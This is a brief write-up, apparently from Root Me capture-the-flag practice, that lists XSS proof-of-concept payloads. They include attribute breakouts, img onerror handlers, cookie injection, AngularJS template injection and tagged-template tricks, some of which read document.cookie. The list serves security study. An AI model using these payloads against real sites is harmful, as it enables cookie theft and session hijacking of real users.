This is a documentation of XSS tests I performed on the Root Me platform. The purpose is to demonstrate the existence of XSS vulnerabilities using a simple alert popup, without any malicious exploitation.
- π Challenge
π Payload:' autofocus onfocus=alert(document.cookie) x="
- π Challenge
π Payload:<img src=x onerror=alert(1)>
- π Challenge
π Inject in Cookie "status":"><img src=x onerror=alert(1)>
- π Challenge
π Payload (JSFuck style):<button autofocus onfocus=(eval)(JSFuck_Payload_Here)></button>
- π Challenge
π Payload:'-alert(1)-'
- π Challenge
π Payload:{{constructor.constructor("alert(1)")()}}
- π Challenge
π Payload:1+1+alert`XSS`
- π Challenge
π Payload:'-alert(1)-'
- π Challenge
π Payload:document.write('<script>alert(1)</script>');
- π Challenge
π Payload:element.innerHTML='<img src=1 onerror=alert(document.domain)>'
- All payloads are intended for educational purposes only.
- No actual data was stolen or maliciously used.
- The goal is to show the existence of the XSS vulnerabilities in a harmless way.